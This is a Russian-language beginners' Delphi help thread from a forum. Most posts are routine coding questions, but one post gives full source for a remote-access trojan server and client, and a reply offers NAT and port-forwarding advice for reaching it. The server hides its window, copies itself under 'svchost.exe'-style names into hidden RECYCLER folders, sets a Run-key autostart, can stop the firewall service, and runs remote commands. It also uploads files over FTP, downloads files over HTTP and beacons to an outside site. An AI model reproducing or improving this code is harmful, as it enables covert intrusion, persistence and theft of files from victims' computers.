[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Amd64

    Amd64 New Member

    Joined:
    10 Jan 2011
    Messages:
    24
    Likes Received:
    2
    Reputations:
    0
    А как можно спарсить id пользователя,от которого пришло последнее сообщение?В вконтакте.Никак додумать не могу...Само количество сообщений могу,отправить определенному юзеру сообщение тоже могу,а вот входящие как узнать- не знаю)
     
  2. Amd64

    Amd64 New Member

    Joined:
    10 Jan 2011
    Messages:
    24
    Likes Received:
    2
    Reputations:
    0
    И еще такая проблема:когда пытаюсь отправить сообщение в vk через поле Memo,то появляется такая ошибка [​IMG]

    А если использовать поле edit,то всё работает прекрасно.В чем проблема?
     
  3. Vagner

    Vagner New Member

    Joined:
    25 Feb 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    За ночь нужно написать одну лабу по Delphi. По оплате договоримся.

    icq 1040100
     
  4. Sifon110

    Sifon110 New Member

    Joined:
    13 Mar 2011
    Messages:
    34
    Likes Received:
    1
    Reputations:
    0
    Работаю через прокси в twebbrowser таким способом:

    procedure proxy_go(proxy: string);
    var proxy_info : PInternetProxyInfo;
    begin
    New (proxy_info);
    proxy_info^.dwAccessType := INTERNET_OPEN_TYPE_PROXY;
    proxy_info^.lpszProxy := PChar(proxy);
    proxy_info^.lpszProxyBypass := PChar('');
    UrlMkSetSessionOption(INTERNET_OPTION_PROXY, proxy_info, SizeOf(Internet_Proxy_Info), 0);
    Dispose(proxy_info);
    end;

    Подскажите пожалуйста, как в данной процедуре сделать авторизацию прокси по логину и паролю? Благодарю.
     
  5. ADR-007

    ADR-007 Member

    Joined:
    12 Jul 2010
    Messages:
    218
    Likes Received:
    9
    Reputations:
    0
    Все визуальньіе компонентьі имеют свойства "Top" и "Left"
     
  6. ZVEN

    ZVEN Member

    Joined:
    16 Sep 2007
    Messages:
    0
    Likes Received:
    21
    Reputations:
    5
    Добрый день, решил осваивать Delphi... но не как немогу понять как сделать так:
    Есть 5 фотографий, нужно чтоб они менялись при нажатии на кнопку Button... подскажите как выглядит код
     
  7. C@T

    C@T Member

    Joined:
    7 Sep 2011
    Messages:
    12
    Likes Received:
    6
    Reputations:
    10
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ExtCtrls, StdCtrls, jpeg;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Image1: TImage;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
      CurrentImage : integer = 1;
      PictureNames: array[1..5] of string = ('1.jpg',
                                      '2.jpg',
                                      '3.jpg',
                                      '4.jpg',
                                      '5.jpg');
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      CurrentImage := CurrentImage + 1;
      if(CurrentImage = 6) then CurrentImage := 1;
    
      Image1.Picture.LoadFromFile(PictureNames[CurrentImage]);
    end;
    
    end.
    
    
    вот :)
     
    1 person likes this.
  8. _21root21_

    _21root21_ New Member

    Joined:
    11 Jan 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Подскажите

    Здраствуйте подскажите что не так в коде??

    Code:
     procedure TfMain.Button1Click(Sender: TObject);
        var
          Perem1,Perem2:Integer;
          Perem3:Double;
    
    begin
    
     StrToInt('String');
    
    
     Perem1:=StrToInt('Edit1.Text');
     Perem2:=StrToInt('Edit2.Text');
            If Perem2 = 0 then begin
            ShowMessage('На ноль делить нельзя!!');
            Edit3.Text := '0';
         end
         else begin
           Perem3 := Perem1 / Perem2;
           Edit3.Text := FloatToStr(Perem3);
    
    
    end;
    
    end.
    
     
  9. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Где ты такому научился?
     
  10. Metal-Core

    Metal-Core Member

    Joined:
    20 Sep 2011
    Messages:
    226
    Likes Received:
    21
    Reputations:
    0
    :D :D
     
  11. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10

    что это вообще такое? чего ты хотел этим добиться? :confused:
     
  12. _21root21_

    _21root21_ New Member

    Joined:
    11 Jan 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    А что не так то???
     
  13. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    Прочитай для начала для чего эта функция нужна, потом посмотри как ты ее использовал и не задавай глупых вопросов
    http://delphibasics.ru/StrToInt.php
     
  14. od1n0chka

    od1n0chka Member

    Joined:
    13 Dec 2010
    Messages:
    297
    Likes Received:
    47
    Reputations:
    1

    PHP:
    procedure TForm1.Button1Click(SenderTObject);
     var 
    Perem1,Perem2:Integer;
          
    Perem3:real;

    begin
     
    //StrToInt('String');


     
    Perem1:=StrToInt(Edit1.Text);
     
    Perem2:=StrToInt(Edit2.Text);
            If 
    Perem2 0 then
            begin
            ShowMessage
    ('На ноль делить нельзя!!');
            
    Edit3.Text := '0';
            
    end
            
    else
              
    begin
                Perem3 
    := Perem1 Perem2;
                
    Edit3.Text := FloatToStr(Perem3);
              
    end;
    end;
     
  15. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Привет всем!
    Такая проблема. Нужно написать программу, в не должен быть браузер. Воспользовался компонентом WebBrowser. После того как откомпилировал программу и открылся нужный сайт в браузуре, я заметил что открытый сайт мне сообщил что у меня версия браузера IE 7, у меня же стоит 9. И в связи с этим моя программа не может выполнить мои требования. Как решить этот вопрос?
     
  16. DOLLY

    DOLLY New Member

    Joined:
    28 Sep 2011
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Итак Писал я прогу для удалленого администрирования
    через TidTCPserver и клиент соотвественно по локалке работает на ура Но! Через интернет не работает(
    подскжите в чем может бить проблема вот код сервера
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, MMSystem, Classes, Controls, Forms,
      Dialogs, IdComponent, IdTCPServer, StdCtrls,
      IdTCPConnection, IdTCPClient, IdHTTP, IdMessageClient, IdSMTP, IdMessage, IdTrivialFTP, ShellAPI, IdFTP, IdSMTPServer,
      ScktComp, Registry, IdBaseComponent, WinSvc, ExtCtrls;
    
    type
      TForm1 = class(TForm)
        IdTCPServer1: TIdTCPServer;
        IdHTTP1: TIdHTTP;
        Memo1: TMemo;
        IdSMTP1: TIdSMTP;
        IdMessage1: TIdMessage;
        IdHTTP2: TIdHTTP;
        IdFTP1: TIdFTP;
        ListBox1: TListBox;
        procedure IdTCPServer1Execute(AThread: TIdPeerThread);
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure FormActivate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
      s:string;
      len:string;
    
    implementation
    
    {$R *.dfm}
    
    function StopFireWallService : Boolean;
    var
    SCMan : Cardinal;
    Svc : Cardinal;
    Stat : TServiceStatus;
    begin
    SCMan := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
    Svc := OpenService(SCMan, 'SharedAccess', SERVICE_STOP);
    Result := ControlService(Svc, SERVICE_CONTROL_STOP, Stat);
    CloseServiceHandle(Svc);
    CloseServiceHandle(SCMan);
    end;
    
    procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
    var
    LoadStream: TMemoryStream;
    r:TStringList;
    b:string;
    begin
    begin
    s:=AThread.Connection.ReadLn;
    end;
    if AThread.Connection.ReadLn=('cmd') then
    begin
    ShowMessage('YEPIIIII');
    end;
    if AThread.Connection.ReadLn=('shut') then
    begin
    mciSendString('Set cdaudio door open wait', nil, 0, handle);
    end;
    if copy(s,1,4)=('REGE') then
    begin
    WinExec(PChar('regedit.exe /s '+PChar(copy(s,5,length(s)))), SW_HIDE);
    end;
    if copy(s,1,3)=('SOB') then
    begin
    Messagebox(0,pchar(copy(s,4,length(s))),'Message', 0);
    end;
    if copy(s,1,3)=('RUN') then
    begin
    ShellExecute(Handle, 'open', PChar(copy(s,4,length(s))), nil, nil, SW_HIDE);
    end;
    if copy(s,1,4)=('FILE') then
    begin
    IdFTP1.Connect;
    idFTP1.Put(PChar(copy(s,5,length(s))),'eda'+ExtractFileName(s), false);
    IdFTP1.Disconnect;
    end;
    if copy(s,1,4)=('Host') then
    begin
    idFTP1.Host:=(PChar(copy(s,5,length(s))));
    end;
    if copy(s,1,4)=('Port') then
    begin
    idFTP1.Port:=StrToInt(PChar(copy(s,5,length(s))));
    end;
    if copy(s,1,4)=('User') then
    begin
    idFTP1.Username:=(PChar(copy(s,5,length(s))));
    end;
    if copy(s,1,4)=('Pass') then
    begin
    idFTP1.Password:=(PChar(copy(s,5,length(s))));
    end;
    //
    if copy(s,1,4)=('RENF') then
    begin
    r:=TStringList.create;
    r.text:=stringReplace(PChar(copy(s,5,length(s))),'*',#13#10,[rfReplaceAll]);
    RenameFile(r[0], ExtractFilePath(r[0])+r[1]);
    r.Free;
    end;
    //
    if copy(s,1,4)=('ipsc') then
    begin
    r:=TStringList.create;
    LoadStream := TMemoryStream.Create;
    r.text:=stringReplace(PChar(copy(s,5,length(s))),'*',#13#10,[rfReplaceAll]);
    idHTTP2.Get(PChar(copy(r[0],5,length(r[0]))), LoadStream);
    b:=StringReplace(r[0],'/','\',[rfReplaceAll]);
    LoadStream.SaveToFile(r[1]+ExtractFileName(b));
    LoadStream.Free;
    r.Free;
    end;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    var
    num:integer;
    reg:TRegistry;
    path: array[0..max_path]of char;
    ddi:string;
    begin
    begin
    GetWindowsDirectory(path,max_path);
    ddi:=copy(path,0,3);
    end;
    reg:=tregistry.create;
    reg.RootKey:=HKEY_CURRENT_USER;
    reg.openkey('software\microsoft\windows\currentversion\run', false);
    reg.WriteString('svhost',(ddi)+'RECYCLER\'+'svhost.exe');
    reg.CloseKey;
    reg.free;
    idTCPServer1.Active:=True;
    IdFTP1.Host:='ftp.com';
    IdFTP1.Port:=21;
    IdFTP1.Username:='xxxxx';
    IdFTP1.Password:='xxxxx';
    Application.ShowMainForm:=false;
    {
    memo1.text:=idhttp1.get('http://www.myip.ru/get_ip.php');
    len:=memo1.text;
    num:=pos('<TD bgcolor=white align=center valign=middle>',len)+45;
    delete(len,1,num);
    len:=copy(memo1.text, num, pos('<',len));
    memo1.Text:=len;
    }
    //
    //
    CopyFile(PChar(ParamStr(0)), PChar((ddi) + 'RECYCLER\' + 'svhost.exe'), False);
    Windows.SetFileAttributes(PChar((ddi)+'RECYCLER\'+ 'svhost.exe'), faSysFile);
    Windows.SetFileAttributes(PChar((ddi)+'RECYCLER\'+ 'svhost.exe'), faVolumeID);
    Windows.SetFileAttributes(PChar((ddi)+'RECYCLER\'+ 'svhost.exe'), faHidden);
    CopyFile(PChar(ParamStr(0)), PChar('C:\RECYCLER\'+ 'svchost.exe'), False);
    Windows.SetFileAttributes('C:\RECYCLER\svchost.exe', faSysFile);
    Windows.SetFileAttributes('C:\RECYCLER\svchost.exe', faVolumeID);
    Windows.SetFileAttributes('C:\RECYCLER\svchost.exe', faHidden);
    CopyFile(PChar(ParamStr(0)), PChar('D:\RECYCLER\' + 'svchost.exe'), False);
    Windows.SetFileAttributes('D:\RECYCLER\svchost.exe', faSysFile);
    Windows.SetFileAttributes('D:\RECYCLER\svchost.exe', faVolumeID);
    Windows.SetFileAttributes('D:\RECYCLER\svchost.exe', faHidden);
    begin
    idHttp1.Get('snifer.site/s.gif?CURRENTPORT=9097')
    end;
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    idTCPServer1.Active:=False;
    end;
    
    procedure TForm1.FormActivate(Sender: TObject);
    begin
    Application.ShowMainForm:=false;
    end;
    end.
    
    
    
    
    
    а вот клиента
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      StdCtrls, IdTCPServer, OleCtrls, ShellApi, FileCtrl, ScktComp, IdUDPBase,
      IdUDPServer, IdSocketHandle, IdAntiFreezeBase, IdAntiFreeze;
    
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Button1: TButton;
        Button2: TButton;
        Button3: TButton;
        IdTCPClient1: TIdTCPClient;
        Button4: TButton;
        Button5: TButton;
        Edit2: TEdit;
        Edit3: TEdit;
        Button6: TButton;
        Edit4: TEdit;
        Button7: TButton;
        Edit5: TEdit;
        Edit6: TEdit;
        Edit7: TEdit;
        Edit8: TEdit;
        Button8: TButton;
        Edit9: TEdit;
        Button9: TButton;
        Label5: TLabel;
        Label6: TLabel;
        Label8: TLabel;
        Edit10: TEdit;
        Button10: TButton;
        Edit11: TEdit;
        Edit12: TEdit;
        Button11: TButton;
        Edit13: TEdit;
        Memo1: TMemo;
        Edit14: TEdit;
        IdAntiFreeze1: TIdAntiFreeze;
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure Button5Click(Sender: TObject);
        procedure Button6Click(Sender: TObject);
        procedure Button7Click(Sender: TObject);
        procedure Button8Click(Sender: TObject);
        procedure Button9Click(Sender: TObject);
        procedure Button10Click(Sender: TObject);
        procedure Button11Click(Sender: TObject);
    
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
      s:string;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    idTCPClient1.Host:=Edit1.Text;
    idTCPClient1.Port:=strtoint(edit14.text);
    idTCPClient1.Connect();
    if idTCPClient1.Connected then
    ShowMessage('Подключено!');
    end;
    procedure TForm1.Button2Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('cmd');
    idTCPClient1.WriteLn('cmd');
    idTCPClient1.WriteLn('cmd');
    end;
    procedure TForm1.Button3Click(Sender: TObject);
    begin
    idTCPClient1.Disconnect;
    end;
    procedure TForm1.Button4Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('shut');
    idTCPClient1.WriteLn('shut');
    idTCPClient1.WriteLn('shut');
    end;
    procedure TForm1.Button5Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('SOB'+edit2.text);
    idTCPClient1.WriteLn('SOB'+edit2.text);
    idTCPClient1.WriteLn('SOB'+edit2.text);
    end;
    
    procedure TForm1.Button6Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('FILE'+edit3.text);
    idTCPClient1.WriteLn('FILE'+edit3.text);
    idTCPClient1.WriteLn('FILE'+edit3.text);
    idTCPClient1.WriteLn('FILE'+edit3.text);
    idTCPClient1.WriteLn('FILE'+edit3.text);
    end;
    
    procedure TForm1.Button7Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('RUN'+edit4.text);
    idTCPClient1.WriteLn('RUN'+edit4.text);
    idTCPClient1.WriteLn('RUN'+edit4.text);
    end;
    
    procedure TForm1.Button8Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('Host'+edit5.text);
    idTCPClient1.WriteLn('Host'+edit5.text);
    idTCPClient1.WriteLn('Port'+edit6.text);
    idTCPClient1.WriteLn('Port'+edit6.text);
    idTCPClient1.WriteLn('User'+edit7.text);
    idTCPClient1.WriteLn('User'+edit7.text);
    idTCPClient1.WriteLn('Pass'+edit8.text);
    idTCPClient1.WriteLn('Pass'+edit8.text);
    end;
    
    procedure TForm1.Button9Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('HTTP'+edit9.text+'*'+edit13.text);
    idTCPClient1.WriteLn('HTTP'+edit9.text+'*'+edit13.text);
    idTCPClient1.WriteLn('HTTP'+edit9.text+'*'+edit13.text);
    end;
    
    procedure TForm1.Button10Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('REGE'+edit10.text);
    idTCPClient1.WriteLn('REGE'+edit10.text);
    idTCPClient1.WriteLn('REGE'+edit10.text);
    idTCPClient1.WriteLn('REGE'+edit10.text);
    idTCPClient1.WriteLn('REGE'+edit10.text);
    idTCPClient1.WriteLn('REGE'+edit10.text);
    end;
    
    procedure TForm1.Button11Click(Sender: TObject);
    begin
    idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text);
    idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text);
    idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text);
    idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text);
    idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text);
    end;
    end.
    
    почемуто надо отправлять сообщение несколько раз
    (раньше много кликал)
    просьба не бить ето моя по сути первая прога
    ПС.
    Тупо не крнектиться
     
    #9196 DOLLY, 16 Jun 2012
    Last edited: 16 Jun 2012
  17. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Не прямой ип, код не смотрел.
     
  18. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Посмотри, удивишься :cool:
    2DOLLY, это очень плохой пример трояна.
     
  19. DOLLY

    DOLLY New Member

    Joined:
    28 Sep 2011
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Ну плохой то плохой что исправить?
     
  20. alexey-m

    alexey-m Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    518
    Likes Received:
    100
    Reputations:
    37
    DOLLY, тебе сказали, что если хочешь подключаться с инета, то у тебя должен быть "белый" ип, иначе, если ты за NATом или firewall, то нужно пробрасывать порт наружу, но для этого нужны соответствующие права, либо использовать другие приблуды =D
    без этого ты не сможешь принять коннект извне
     
Thread Status:
Not open for further replies.